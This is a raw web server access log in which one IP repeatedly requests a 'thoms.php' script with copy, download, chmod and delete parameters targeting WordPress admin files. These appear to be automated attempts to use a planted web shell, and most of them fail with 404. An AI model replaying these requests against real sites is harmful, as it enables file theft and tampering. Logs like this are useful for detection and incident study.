45.135.193.11 - - [12/Sep/2026:00:00:17 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fedit-form-advanced.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fedit-form-advanced.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:17 -0400] "GET /bfl.com.tw/wp-admin/erase-personal-data.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:17 -0400] "GET /thoms.php?dl=media.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=media.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:17 -0400] "GET /thoms.php?chmod=options-discussion.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-discussion.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:17 -0400] "GET /thoms.php?dl=options-permalink.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-permalink.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:18 -0400] "GET /thoms.php?chmod=users.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=users.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:18 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fwidgets.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fwidgets.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:18 -0400] "GET /thoms.php?dl=admin-footer.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin-footer.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:18 -0400] "GET /bfl.com.tw/wp-admin/contribute.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:18 -0400] "GET /thoms.php?del=edit-form-comment.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-form-comment.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:18 -0400] "GET /thoms.php?chmod=edit.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:18 -0400] "GET /thoms.php?chmod=error_log&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:18 -0400] "GET /thoms.php?dl=export.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=export.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:18 -0400] "GET /thoms.php?chmod=site-health.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=site-health.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:18 -0400] "GET /thoms.php?chmod=async-upload.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=async-upload.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:18 -0400] "GET /thoms.php?dl=revision.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=revision.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:18 -0400] "GET /thoms.php?dl=custom-header.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=custom-header.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:18 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=ms-edit.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=ms-edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:18 -0400] "GET /thoms.php?chmod=site-editor.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=site-editor.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:19 -0400] "GET /thoms.php?del=comment.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=comment.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:19 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=ms-themes.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=ms-themes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:19 -0400] "GET /thoms.php?dl=user-new.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=user-new.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:19 -0400] "GET /thoms.php?dl=install-helper.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=install-helper.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:19 -0400] "GET /thoms.php?del=install.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=install.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:19 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fms-upgrade-network.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fms-upgrade-network.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:19 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=nav-menus.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=nav-menus.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:19 -0400] "GET /thoms.php?dl=update.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=update.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:19 -0400] "GET /thoms.php?dl=my-sites.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=my-sites.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:19 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=options-privacy.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=options-privacy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:19 -0400] "GET /thoms.php?dl=theme-editor.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme-editor.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:19 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=themes.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=themes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:19 -0400] "GET /bfl.com.tw/wp-admin/users.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:19 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin%2Fuser HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin%2Fuser" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:19 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin%2Fimages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin%2Fimages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:19 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fedit-tag-form.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fedit-tag-form.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:20 -0400] "GET /thoms.php?chmod=press-this.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=press-this.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:20 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fauthorize-application.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fauthorize-application.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:20 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=options-connectors.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=options-connectors.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:20 -0400] "GET /thoms.php?dl=widgets.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=widgets.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:20 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=profile.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:20 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin%2Fjs HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin%2Fjs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:20 -0400] "GET /thoms.php?dl=link-manager.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=link-manager.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:20 -0400] "GET /bfl.com.tw/wp-admin/ms-sites.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:20 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fmoderation.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fmoderation.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:20 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fplugin-editor.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fplugin-editor.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:20 -0400] "GET /thoms.php?del=update-core.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=update-core.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
185.218.86.25 - - [12/Sep/2026:00:00:20 -0400] "GET / HTTP/1.1" 200 3394 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:20 -0400] "GET /thoms.php?dl=edit-form-advanced.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-form-advanced.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:20 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fedit-form-blocks.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fedit-form-blocks.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:20 -0400] "GET /thoms.php?del=link-parse-opml.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=link-parse-opml.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:21 -0400] "GET /thoms.php?dl=about.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=about.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:20 -0400] "GET /bfl.com.tw/wp-admin/edit-tags.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:21 -0400] "GET /thoms.php?del=press-this.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=press-this.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:21 -0400] "GET /thoms.php?del=privacy.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=privacy.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:21 -0400] "GET /thoms.php?chmod=tools.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=tools.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:21 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=update.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=update.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:21 -0400] "GET /thoms.php?del=upgrade.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=upgrade.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:21 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=admin-functions.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=admin-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:21 -0400] "GET /thoms.php?chmod=admin-post.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin-post.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:21 -0400] "GET /thoms.php?del=edit-comments.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-comments.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:21 -0400] "GET /thoms.php?del=ms-edit.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-edit.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:21 -0400] "GET /thoms.php?dl=options-general.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-general.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:21 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Foptions-writing.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Foptions-writing.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:21 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fms-users.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fms-users.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:21 -0400] "GET /thoms.php?dl=plugin-install.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=plugin-install.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:22 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Frevision.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Frevision.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:22 -0400] "GET /thoms.php?chmod=admin-ajax.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin-ajax.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:22 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=import.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=import.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:22 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=link.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=link.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:22 -0400] "GET /thoms.php?dl=ms-users.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-users.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:22 -0400] "GET /thoms.php?dl=options-writing.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-writing.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:22 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=plugin-install.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=plugin-install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
